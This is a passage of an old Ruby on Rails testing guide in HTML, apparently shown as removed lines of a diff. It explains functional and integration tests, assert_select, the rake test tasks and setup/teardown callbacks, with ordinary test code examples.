-</ul></div>
-<div class="para"><p>Example: Calling the <tt>:show</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt> and setting a <tt>user_id</tt> of 5 in the session:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>get<span style="color: #990000">(:</span>show<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"12"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'user_id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Another example: Calling the <tt>:view</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt>, this time with no session, but with a flash message.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>get<span style="color: #990000">(:</span>view<span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'id'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'12'</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">'message'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'booya!'</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you try running <tt>test_should_create_post</tt> test from <tt>posts_controller_test.rb</tt> it will fail on account of the newly added model level validation and rightly so.</td>
-</tr></table>
-</div>
-<div class="para"><p>Let us modify <tt>test_should_create_post</tt> test in <tt>posts_controller_test.rb</tt> so that all our test pass:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_create_post
-  assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-    post <span style="color: #990000">:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Some title'</span><span style="color: #FF0000">}</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now you can try running all the tests and they should pass.</p></div>
-<h3 id="_available_request_types_for_functional_tests">4.2. Available Request Types for Functional Tests</h3>
-<div class="para"><p>If you're familiar with the HTTP protocol, you'll know that <tt>get</tt> is a type of request. There are 5 request types supported in Rails functional tests:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>get</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>post</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>put</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>head</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>delete</tt>
-</p>
-</li>
-</ul></div>
-<div class="para"><p>All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.</p></div>
-<h3 id="_the_4_hashes_of_the_apocalypse">4.3. The 4 Hashes of the Apocalypse</h3>
-<div class="para"><p>After a request has been made by using one of the 5 methods (<tt>get</tt>, <tt>post</tt>, etc.) and processed, you will have 4 Hash objects ready for use:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>assigns</tt> - Any objects that are stored as instance variables in actions for use in views.
-</p>
-</li>
-<li>
-<p>
-<tt>cookies</tt> - Any cookies that are set.
-</p>
-</li>
-<li>
-<p>
-<tt>flash</tt> - Any objects living in the flash.
-</p>
-</li>
-<li>
-<p>
-<tt>session</tt> - Any object living in session variables.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for <tt>assigns</tt>. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>  flash<span style="color: #990000">[</span><span style="color: #FF0000">"gordon"</span><span style="color: #990000">]</span>               flash<span style="color: #990000">[:</span>gordon<span style="color: #990000">]</span>
-  session<span style="color: #990000">[</span><span style="color: #FF0000">"shmession"</span><span style="color: #990000">]</span>          session<span style="color: #990000">[:</span>shmession<span style="color: #990000">]</span>
-  cookies<span style="color: #990000">[</span><span style="color: #FF0000">"are_good_for_u"</span><span style="color: #990000">]</span>     cookies<span style="color: #990000">[:</span>are_good_for_u<span style="color: #990000">]</span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># Because you can't use assigns[:something] for historical reasons:</span></span>
-  assigns<span style="color: #990000">[</span><span style="color: #FF0000">"something"</span><span style="color: #990000">]</span>          assigns<span style="color: #990000">(:</span>something<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<h3 id="_instance_variables_available">4.4. Instance Variables Available</h3>
-<div class="para"><p>You also have access to three instance variables in your functional tests:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>@controller</tt> - The controller processing the request
-</p>
-</li>
-<li>
-<p>
-<tt>@request</tt> - The request
-</p>
-</li>
-<li>
-<p>
-<tt>@response</tt> - The response
-</p>
-</li>
-</ul></div>
-<h3 id="_a_fuller_functional_test_example">4.5. A Fuller Functional Test Example</h3>
-<div class="para"><p>Here's another example that uses <tt>flash</tt>, <tt>assert_redirected_to</tt>, and <tt>assert_difference</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_create_post
-  assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-    post <span style="color: #990000">:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Hi'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>body <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'This is my first post.'</span><span style="color: #FF0000">}</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
-  assert_equal <span style="color: #FF0000">'Post was successfully created.'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_testing_views">4.6. Testing Views</h3>
-<div class="para"><p>Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The <tt>assert_select</tt> assertion allows you to do this by using a simple yet powerful syntax.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You may find references to <tt>assert_tag</tt> in other documentation, but this is now deprecated in favor of <tt>assert_select</tt>.</td>
-</tr></table>
-</div>
-<div class="para"><p>There are two forms of <tt>assert_select</tt>:</p></div>
-<div class="para"><p><tt>assert_select(selector, [equality], [message])`</tt> ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an <tt>HTML::Selector</tt> object.</p></div>
-<div class="para"><p><tt>assert_select(element, selector, [equality], [message])</tt> ensures that the equality condition is met on all the selected elements through the selector starting from the <em>element</em> (instance of <tt>HTML::Node</tt>) and its descendants.</p></div>
-<div class="para"><p>For example, you could verify the contents on the title element in your response with:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_select <span style="color: #FF0000">'title'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Welcome to Rails Testing Guide"</span>
-</tt></pre></div></div>
-<div class="para"><p>You can also use nested <tt>assert_select</tt> blocks. In this case the inner <tt>assert_select</tt> will run the assertion on each element selected by the outer <tt>assert_select</tt> block:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_select <span style="color: #FF0000">'ul.navigation'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  assert_select <span style="color: #FF0000">'li.menu_item'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>assert_select</tt> assertion is quite powerful. For more advanced usage, refer to its <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html#M000749">documentation</a>.</p></div>
-<h4 id="_additional_view_based_assertions">4.6.1. Additional View-based Assertions</h4>
-<div class="para"><p>There are more assertions that are primarily used in testing views:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="948" />
-<col width="640" />
-<thead>
-  <tr>
-    <th align="left">
-    Assertion
-    </th>
-    <th align="left">
-    Purpose
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    <tt>assert_select_email</tt>
-    </td>
-    <td align="left">
-    Allows you to make assertions on the body of an e-mail.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_select_rjs</tt>
-    </td>
-    <td align="left">
-    Allows you to make assertions on RJS response. <tt>assert_select_rjs</tt> has variants which allow you to narrow down on the updated element or even a particular operation on an element.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>assert_select_encoded</tt>
-    </td>
-    <td align="left">
-    Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>css_select(selector)</tt>  or <tt>css_select(element, selector)</tt>
-    </td>
-    <td align="left">
-    Returns an array of all the elements selected by the <em>selector</em>. In the second variant it first matches the base <em>element</em> and tries to match the <em>selector</em> expression on any of its children. If there are no matches both variants return an empty array.
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<div class="para"><p>Here's an example of using <tt>assert_select_email</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_select_email <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  assert_select <span style="color: #FF0000">'small'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'Please click the "Unsubscribe" link if you want to opt-out.'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_integration_testing">5. Integration Testing</h2>
-<div class="sectionbody">
-<div class="para"><p>Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.</p></div>
-<div class="para"><p>Unlike Unit and Functional tests, integration tests have to be explicitly created under the <em>test/integration</em> folder within your application. Rails provides a generator to create an integration test skeleton for you.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate integration_test user_flows
-      exists  test/integration<span style="color: #990000">/</span>
-      create  test/integration/user_flows_test<span style="color: #990000">.</span>rb
-</tt></pre></div></div>
-<div class="para"><p>Here's what a freshly-generated integration test looks like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
-  <span style="font-style: italic"><span style="color: #9A1900"># fixtures :your, :models</span></span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
-    assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Integration tests inherit from <tt>ActionController::IntegrationTest</tt>. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.</p></div>
-<h3 id="_helpers_available_for_integration_tests">5.1. Helpers Available for Integration tests</h3>
-<div class="para"><p>In addition to the standard testing helpers, there are some additional helpers available to integration tests:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="948" />
-<col width="640" />
-<thead>
-  <tr>
-    <th align="left">
-    Helper
-    </th>
-    <th align="left">
-    Purpose
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    <tt>https?</tt>
-    </td>
-    <td align="left">
-    Returns <tt>true</tt> if the session is mimicking a secure HTTPS request.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>https!</tt>
-    </td>
-    <td align="left">
-    Allows you to mimic a secure HTTPS request.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>host!</tt>
-    </td>
-    <td align="left">
-    Allows you to set the host name to use in the next request.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>redirect?</tt>
-    </td>
-    <td align="left">
-    Returns <tt>true</tt> if the last request was a redirect.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>follow_redirect!</tt>
-    </td>
-    <td align="left">
-    Follows a single redirect response.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>request_via_redirect(http_method, path, [parameters], [headers])</tt>
-    </td>
-    <td align="left">
-    Allows you to make an HTTP request and follow any subsequent redirects.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>post_via_redirect(path, [parameters], [headers])</tt>
-    </td>
-    <td align="left">
-    Allows you to make an HTTP POST request and follow any subsequent redirects.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>get_via_redirect(path, [parameters], [headers])</tt>
-    </td>
-    <td align="left">
-    Allows you to make an HTTP GET request and follow any subsequent redirects.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>put_via_redirect(path, [parameters], [headers])</tt>
-    </td>
-    <td align="left">
-    Allows you to make an HTTP PUT request and follow any subsequent redirects.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>delete_via_redirect(path, [parameters], [headers])</tt>
-    </td>
-    <td align="left">
-    Allows you to make an HTTP DELETE request and follow any subsequent redirects.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>open_session</tt>
-    </td>
-    <td align="left">
-    Opens a new session instance.
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<h3 id="_integration_testing_examples">5.2. Integration Testing Examples</h3>
-<div class="para"><p>A simple integration test that exercises multiple controllers:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
-  fixtures <span style="color: #990000">:</span>users
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
-    <span style="font-style: italic"><span style="color: #9A1900"># login via https</span></span>
-    https!
-    get <span style="color: #FF0000">"/login"</span>
-    assert_response <span style="color: #990000">:</span>success
-
-    post_via_redirect <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=&gt;</span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> users<span style="color: #990000">(:</span>avs<span style="color: #990000">).</span>password
-    assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
-    assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
-
-    https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
-    get <span style="color: #FF0000">"/posts/all"</span>
-    assert_response <span style="color: #990000">:</span>success
-    assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.</p></div>
-<div class="para"><p>Here's an example of multiple sessions and custom DSL in an integration test</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>IntegrationTest
-  fixtures <span style="color: #990000">:</span>users
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
-
-    <span style="font-style: italic"><span style="color: #9A1900"># User avs logs in</span></span>
-    avs <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>avs<span style="color: #990000">)</span>
-    <span style="font-style: italic"><span style="color: #9A1900"># User guest logs in</span></span>
-    guest <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>guest<span style="color: #990000">)</span>
-
-    <span style="font-style: italic"><span style="color: #9A1900"># Both are now available in different sessions</span></span>
-    assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> avs<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
-    assert_equal <span style="color: #FF0000">'Welcome guest!'</span><span style="color: #990000">,</span> guest<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
-
-    <span style="font-style: italic"><span style="color: #9A1900"># User avs can browse site</span></span>
-    avs<span style="color: #990000">.</span>browses_site
-    <span style="font-style: italic"><span style="color: #9A1900"># User guest can browse site aswell</span></span>
-    guest<span style="color: #990000">.</span>browses_site
-
-    <span style="font-style: italic"><span style="color: #9A1900"># Continue with other assertions</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  private
-
-    <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> CustomDsl
-      <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> browses_site
-        get <span style="color: #FF0000">"/products/all"</span>
-        assert_response <span style="color: #990000">:</span>success
-        assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> login<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
-      open_session <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>sess<span style="color: #990000">|</span>
-        sess<span style="color: #990000">.</span>extend<span style="color: #990000">(</span>CustomDsl<span style="color: #990000">)</span>
-        u <span style="color: #990000">=</span> users<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
-        sess<span style="color: #990000">.</span>https!
-        sess<span style="color: #990000">.</span>post <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=&gt;</span> u<span style="color: #990000">.</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> u<span style="color: #990000">.</span>password
-        assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
-        sess<span style="color: #990000">.</span>https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_rake_tasks_for_running_your_tests">6. Rake Tasks for Running your Tests</h2>
-<div class="sectionbody">
-<div class="para"><p>You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.</p></div>
-<div class="para"><p>--------------------------------`----------------------------------------------------
-Tasks                           Description</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>+rake test+                     Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
-+rake test:units+               Runs all the unit tests from +test/unit+
-+rake test:functionals+         Runs all the functional tests from +test/functional+
-+rake test:integration+         Runs all the integration tests from +test/integration+
-+rake test:recent+              Tests recent changes
-+rake test:uncommitted+         Runs all the tests which are uncommitted. Only supports Subversion
-+rake test:plugins+             Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)</tt></pre>
-</div></div>
-</div>
-<h2 id="_brief_note_about_test_unit">7. Brief Note About Test::Unit</h2>
-<div class="sectionbody">
-<div class="para"><p>Ruby ships with a boat load of libraries. One little gem of a library is <tt>Test::Unit</tt>, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in <tt>Test::Unit::Assertions</tt>. The class <tt>ActiveSupport::TestCase</tt> which we have been using in our unit and functional tests extends <tt>Test::Unit::TestCase</tt> that it is how we can use all the basic assertions in our tests.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">For more information on <tt>Test::Unit</tt>, refer to <a href="http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/">test/unit Documentation</a></td>
-</tr></table>
-</div>
-</div>
-<h2 id="_setup_and_teardown">8. Setup and Teardown</h2>
-<div class="sectionbody">
-<div class="para"><p>If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in <tt>Posts</tt> controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsControllerTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>TestCase
-
-  <span style="font-style: italic"><span style="color: #9A1900"># called before every single test</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> posts<span style="color: #990000">(:</span>one<span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># called after every single test</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
-    <span style="font-style: italic"><span style="color: #9A1900"># as we are re-initializing @post before every test</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># setting it to nil here is not essential but I hope</span></span>
-    <span style="font-style: italic"><span style="color: #9A1900"># you understand how you can use the teardown method</span></span>
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_show_post
-    get <span style="color: #990000">:</span>show<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
-    assert_response <span style="color: #990000">:</span>success
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_destroy_post
-    assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">,</span> <span style="color: #990000">-</span><span style="color: #993399">1</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-      delete <span style="color: #990000">:</span>destroy<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-    assert_redirected_to posts_path
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Above, the <tt>setup</tt> method is called before each test and so <tt>@post</tt> is available for each of the tests. Rails implements <tt>setup</tt> and <tt>teardown</tt> as ActiveSupport::Callbacks. Which essentially means you need not only use <tt>setup</tt> and <tt>teardown</tt> as methods in your tests. You could specify them by using:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-a block
-</p>
-</li>
-<li>
-<p>
-a method (like in the earlier example)
-</p>
-</li>
-<li>
-<p>
-a method name as a symbol
-</p>
-</li>
-<li>
-<p>
-a lambda
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Let's see the earlier example by specifying <tt>setup</tt> callback by specifying a method name as a symbol:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'../test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsControllerTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>TestCase
-
-  <span style="font-style: italic"><span style="color: #9A1900"># called before every single test</span></span>
-  setup <span style="color: #990000">:</span>initialize_post
-
-  <span style="font-style: italic"><span style="color: #9A1900"># called after every single test</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_show_post
-    get <span style="color: #990000">:</span>show<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
-    assert_response <span style="color: #990000">:</span>success
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_update_post
-    put <span style="color: #990000">:</span>update<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id<span style="color: #990000">,</span> <span style="color: #990000">:</span>post <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #FF0000">}</span>
-    assert_redirected_to post_path<span style="color: #990000">(</span>assigns<span style="color: #990000">(:</span>post<span style="color: #990000">))</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_destroy_post
-    assert_difference<span style="color: #990000">(</span><span style="color: #FF0000">'Post.count'</span><span style="color: #990000">,</span> <span style="color: #990000">-</span><span style="color: #993399">1</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-      delete <span style="color: #990000">:</span>destroy<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>id
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
